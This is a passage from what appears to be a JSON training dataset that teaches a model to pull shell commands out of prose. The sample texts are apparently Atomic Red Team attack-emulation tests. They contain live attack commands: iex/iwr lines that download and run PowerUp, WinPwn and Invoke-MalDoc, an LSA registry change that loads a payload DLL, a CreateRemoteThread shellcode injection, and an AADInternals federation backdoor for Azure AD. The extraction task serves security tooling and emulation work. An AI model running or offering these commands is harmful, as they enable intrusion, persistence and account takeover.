syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A common technique involves modifying the Windows registry to point to a payload DLL, such as minilib.dll from mimikatz. Here's the command to achieve this:\n$oldvalue = $(Get-ItemProperty HKLM:\\System\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');\nSet-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\" -Name 'Security Packages old' -Value \"$oldvalue\";\n$newvalue = \"AtomicTest.dll\";\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $newvalue\n",
    "output": "{\"command_list\": [\"$oldvalue = $(Get-ItemProperty HKLM:\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');\\nSet-ItemProperty -Path \\\"HKLM:\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa\\\" -Name 'Security Packages old' -Value \\\"$oldvalue\\\";\\n$newvalue = \\\"AtomicTest.dll\\\";\\nSet-ItemProperty HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa -Name 'Security Packages' -Value $newvalue\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The bluekeep function in WinPwn can be used to scan for vulnerable Windows systems, which you can initiate with this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nbluekeep -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nbluekeep -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing an encoded VBS script within a malicious document (which shows 'ART T1059.005' in a message box upon success), utilize this command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1059.005\\src\\T1059.005-macrocode.txt\" -officeProduct \"Word\" -sub \"Exec\"\nA 64-bit version of Microsoft Office is necessary for this module to work properly.",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1059.005\\\\src\\\\T1059.005-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"Exec\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves creating a copy of macOS mail data and inserting manipulated content with these commands: \nmkdir ~/Library/Mail/copy\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\necho \"Manipulated data\" > ~/Library/Mail/copy/manipulated.txt\n",
    "output": "{\"command_list\": [\"mkdir ~/Library/Mail/copy\\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\\necho \\\"Manipulated data\\\" > ~/Library/Mail/copy/manipulated.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique uses the Windows CreateRemoteThread function from Kernel32.dll to run shellcode in a remote process, which can be achieved by executing the following command: $process = Start-Process #{spawn_process_path} -passthru\n$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateRemoteThreadNative.exe -pid $process.Id -debug",
    "output": "{\"command_list\": [\"$process = Start-Process #{spawn_process_path} -passthru\\n$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\CreateRemoteThreadNative.exe -pid $process.Id -debug\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To add a new federated domain to Azure AD, first ensure the domain is properly configured, then run the following PowerShell command: Import-Module AzureAD\nImport-Module AADInternals\n\n$PWord = ConvertTo-SecureString -String \"#{azure_password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{azure_username}\", $Pword\n\ntry {\n  Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null\n}\ncatch {\n  Write-Host \"Error: AzureAD could not connect\"\n  exit 1\n}\n\ntry {\n  $domain = Get-AzureADDomain -Name \"#{domain_name}\"\n}\ncatch {\n  Write-Host \"Error: domain \"\"#{domain_name}\"\" not found\"\n  exit 1\n}\nif (-Not $domain.IsVerified) {\n  Write-Host \"Error: domain \"\"#{domain_name}\"\" not verified\"\n  exit 1\n}\n\nif ($domain.AuthenticationType -eq \"Federated\") {\n  Write-Host \"Error: domain \"\"#{domain_name}\"\" already federated. Try with a different domain or re-create it before.\"\n  exit 1\n}\n\n$at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential\nif (-Not $at) {\n  Write-Host \"Error: AADInternals could not connect\"\n  exit 1\n}\n\n$new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName \"#{domain_name}\"\nif ($new) {\n  Write-Host \"Federation successfully added to Azure AD\"\n  Write-Host $new\n}\nelse {\n  Write-Host \"The federation setup failed\"\n}\n\nWrite-Host \"End of federation configuration.\"",
    "output": "{\"command_list\": [\"Import-Module AzureAD\\nImport-Module AADInternals\\n\\n$PWord = ConvertTo-SecureString -String \\\"#{azure_password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{azure_username}\\\", $Pword\\n\\ntry {\\n  Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null\\n}\\ncatch {\\n  Write-Host \\\"Error: AzureAD could not connect\\\"\\n  exit 1\\n}\\n\\ntry {\\n  $domain = Get-AzureADDomain -Name \\\"#{domain_name}\\\"\\n}\\ncatch {\\n  Write-Host \\\"Error: domain \\\"\\\"#{domain_name}\\\"\\\" not found\\\"\\n  exit 1\\n}\\nif (-Not $domain.IsVerified) {\\n  Write-Host \\\"Error: domain \\\"\\\"#{domain_name}\\\"\\\" not verified\\\"\\n  exit 1\\n}\\n\\nif ($domain.AuthenticationType -eq \\\"Federated\\\") {\\n  Write-Host \\\"Error: domain \\\"\\\"#{domain_name}\\\"\\\" already federated. Try with a different domain or re-create it before.\\\"\\n  exit 1\\n}\\n\\n$at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential\\nif (-Not $at) {\\n  Write-Host \\\"Error: AADInternals could not connect\\\"\\n  exit 1\\n}\\n\\n$new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName \\\"#{domain_name}\\\"\\nif ($new) {\\n  Write-Host \\\"Federation successfully added to Azure AD\\\"\\n  Write-Host $new\\n}\\nelse {\\n  Write-Host \\\"The federation setup failed\\\"\\n}\\n\\nWrite-Host \\\"End of federation configuration.\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute powershell.exe with variations of the -EncodedCommand parameter and encoded arguments, use the following command: Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop",
    "output": "{\"command_list\": [\"Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop\"]}"
  },
  {
